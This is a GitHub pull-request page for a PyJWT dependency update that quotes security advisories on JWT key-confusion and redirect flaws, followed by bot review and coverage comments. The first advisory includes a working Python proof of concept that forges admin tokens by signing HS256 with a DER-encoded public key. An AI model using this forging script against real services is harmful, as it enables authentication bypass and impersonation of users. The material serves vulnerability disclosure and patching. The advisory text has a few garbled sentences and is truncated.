This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard

CVE-2026-102271 / GHSA-p4g4-x82p-q773

More information

Details

Summary

HMACAlgorithm.prepare_key blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for -----BEGIN and for an ssh- prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.

An application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.

The reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.

Details

The guard is at jwt/algorithms.py:331:

if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

Both helpers are text matchers. Neither one parses the key.

  • jwt/utils.py:126, is_pem_format, runs a regex for ----[- ]BEGIN ...----.
  • jwt/utils.py:141, is_ssh_key, checks startswith against a list of ssh- and ecdsa-sha2- prefixes.

A DER encoded public key starts with the bytes 0x30 0x82. It matches neither, so prepare_key returns it unchanged and it becomes the HMAC secret.

There is no DER handling anywhere in the package. grep -rni "\bDER\b|load_der" jwt/ tests/ returns nothing.

This affects three encodings that are all blocked in their PEM form today:

  • DER SubjectPublicKeyInfo
  • DER PKCS#1
  • DER encoded X.509 certificate

History of this guard:

Applications that use PyJWK or PyJWKClient are not affected. jwt/api_jws.py:395 binds the header alg to the key's own algorithm, so HS256 never reaches HMACAlgorithm.prepare_key on that path.

Suggested fix: try to parse the bytes as a key and reject if parsing works. For example load_der_public_key, load_der_private_key and load_der_x509_certificate in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.

PoC

Tested on 2.4.0, on 2.13.0, and on main at commit 7144e4534. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.

pip install "pyjwt==2.13.0" cryptography
python poc.py

No special configuration is needed. The script builds its own key.

import base64
import hashlib
import hmac
import json

import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat

pub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()
pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
der = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)
der_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)

def b64(raw):
    return base64.urlsafe_b64encode(raw).rstrip(b"=")

def forge(secret):
    # The attacker does not use PyJWT. They only need the public key bytes.
    head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
    body = b64(json.dumps({"user": "admin", "role": "admin"}).encode())
    signing_input = head + b"." + body
    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
    return (signing_input + b"." + b64(sig)).decode()

##### PEM form is rejected, as expected since CVE-2022-29217.
try:
    jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"])
except jwt.exceptions.InvalidKeyError as exc:
    print("PEM rejected:", exc)

##### Same key, DER form. The forged token verifies.
print("DER SPKI accepted:", jwt.decode(forge(der), der, algorithms=["RS256", "HS256"]))
print("DER PKCS#1 accepted:", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=["RS256", "HS256"]))

Output:

PEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s
DER SPKI accepted: {'user': 'admin', 'role': 'admin'}
DER PKCS#1 accepted: {'user': 'admin', 'role': 'admin'}

The token is signed with plain hmac, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.

We also have a regression test written in your pytest style. It uses your own tests/keys fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.

Impact

Key confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.

Who is affected: applications that verify tokens with an asymmetric public key, also list an HS* algorithm pass that public key to jwt.decode as DER bytes.

What an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They is public, and they re-encode it to DER. Nothing secret has to be stolen first.

What limits it: the application must already be in the mixed HS* and RS* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of PyJWK and PyJWKClient are not affected.

Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: PyJWKClient follows redirects when fetching JWKS

CVE-2026-102267 / GHSA-9v7f-9g4p-ffgj

More information

Details

Summary

PyJWT 2.13.0 PyJWKClient followed HTTP redirects while fetching a JWKS,
without validating the redirect destination. A configured trusted endpoint
could therefore redirect the client to a different host.

Impact

When an application uses PyJWKClient with caller-supplied request headers and
an attacker can influence the configured endpoint's response, the redirected
request could expose those headers and the redirected response could be used as
authoritative key material. This could cause JWKS trust poisoning and, in
affected mixed-configuration applications, forged JWT acceptance. The issue
requires an attacker-influenced redirect from the configured JWKS endpoint; it
is not triggered by a token kid alone.

Affected versions

PyJWT <= 2.13.0.

Fix

The issue is fixed on master in commit
0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56.
PyJWKClient now disables automatic redirects for JWKS fetches. Regression
tests verify that a redirect is rejected without contacting its destination,
while normal fetches, headers, caching, errors, timeouts, and SSL context remain
covered.

The fix is present in the unreleased development branch. The patched version
will be recorded after a released PyJWT 2.x version containing the fix is
confirmed.

Credit

Credit: the original reporter of GHSA-9v7f-9g4p-ffgj. Additional redirect
header-leak and cache-poisoning evidence from the newer duplicate report
GHSA-43g3-98cx-x446 is preserved in the duplicate record and informed this
canonical advisory update.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Asymmetric-PEM detection bypass: whitespace/line-ending-mutated public keys skip the HS/asymmetric confusion guard

CVE-2026-102268 / GHSA-ffc3-869f-jxw9

More information

Details

Prerequisites (both conditions must hold; both are deployment properties, not attacker-controlled at request time):

  • The jwt.decode allow-list mixes an HMAC algorithm with an asymmetric one, e.g. algorithms=["ES256", "HS256"] (the RFC 8725 footgun the guard exists to backstop).
  • The verification key is passed as raw PEM text/bytes on the non-PyJWK path, in a byte-form that cryptography's loader accepts but PyJWT's is_pem_format regex does not recognize (marker-adjacent whitespace/indentation, CR-only line terminators, or the PEM folded to a single line). Such forms arise naturally from an indented YAML/JSON block, a single-line environment variable or JSON string, or a CR/LF round-trip through config tooling.

The attacker additionally needs the public verificati

❗ Important

✂ PR body was truncated to here.

@renovate renovate Bot added the dependencies Pull requests that update a dependency file label Oct 1, 2026
@renovate
renovate Bot requested a review from seapagan as a code owner October 1, 2026 11:32
@coderabbitai

coderabbitai Bot commented Oct 1, 2026

Copy link
Copy Markdown

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Advanced

Run ID: 36432736-1ed5-41eb-8c84-367227922f08

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • 🔍 Trigger review
  • Autopilot · Keep fixing CodeRabbit findings and required CI, and resolving merge conflicts

Autopilot is currently an internal CodeRabbit preview.


Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@codacy-production

codacy-production Bot commented Oct 1, 2026 •

Copy link
Copy Markdown

Up to standards ✅

🟢 Issues 0 issues

Results:
0 new issues

View in Codacy

🟢 Metrics 0 duplication

Metric Results
Duplication 0

View in Codacy

🟢 Coverage ∅ diff coverage · +0.00% coverage variation

Metric Results
Coverage variation ✅ +0.00% coverage variation (-1.00%)
Diff coverage ✅ ∅ diff coverage

View coverage diff in Codacy

Coverage variation details
Coverable lines Covered lines Coverage
Common ancestor commit (23fe83f) Report Missing Report Missing Report Missing
Head commit (c1a08f6) 2524 (+0) 2524 (+0) 100.00% (+0.00%)

Coverage variation is the difference between the coverage for the head and common ancestor commits of the pull request branch: <coverage of head commit> - <coverage of common ancestor commit>

Diff coverage details
Coverable lines Covered lines Diff coverage
Pull request (#877) 0 0 ∅ (not applicable)

Diff coverage is the percentage of lines that are covered by tests out of the coverable lines that the pull request added or modified: <covered lines added or modified>/<coverable lines added or modified> * 100%

1 Codacy didn't receive coverage data for the commit, or there was an error processing the received data. Check your integration for errors and validate that your coverage setup is correct.

NEW Get contextual insights on your PRs based on Codacy's metrics, along with PR and Jira context, without leaving GitHub. Enable AI reviewer
TIP This summary will be updated as you push new changes.

@renovate renovate Bot changed the title chore(deps): update dependency pyjwt to v2.14.0 [security] chore(deps): update dependency pyjwt to v2.15.0 [security] Oct 1, 2026

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants